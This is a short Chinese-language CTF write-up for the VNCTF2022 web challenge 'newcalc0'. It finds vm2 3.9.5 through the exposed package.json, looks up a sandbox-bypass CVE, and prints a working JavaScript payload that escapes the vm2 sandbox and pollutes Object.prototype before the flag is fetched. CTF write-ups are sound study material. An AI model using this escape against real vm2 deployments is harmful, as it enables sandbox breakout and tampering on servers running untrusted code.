VM2 的沙箱逃逸出自 VNCTF2022-WEB-newcalc0
根据 hint 访问 package.json
///source?path=/package.json ... "dependencies": { "express": "^4.17.1", "pm2": "^4.5.6", "vm2": "^3.9.5" } ...
再阅读源码,无其他位置可以注入,故寻找 VM2 的 CVE
这里有个 CVE 数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个 VM2 绕过的 CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好 VM2 版本对应上了,理论存在,实践开始
由于第一个 poc 好像被过滤了一部分,于是直接尝试第二个
e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了 while (obj.__proto__) { obj = obj.__proto__; } return obj; } function stack(ref, cb) { let stack = new Error().stack; stack.match(/checkReferenceRecursive/g); } try { global.temp0 = RegExp.prototype.__defineGetter__('global', () => { getRootPrototype(this); stack(this); return true; }), function functionInvocationAnalysis(r) { stack(r); }(temp0), global.temp0; RegExp.prototype.exec = function (str) { stack(arguments); }; } catch (e) { getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链 //getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染 module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认 }
再次访问 /flag
就出了
主要是对代码的理解,要知道哪里可以对 prototype 进行修改以及 hint:package.json 的使用
2022/2/14:复现到 3 点多,一次不行,多 submit 几次!
tql
mtgg的rce帮大忙了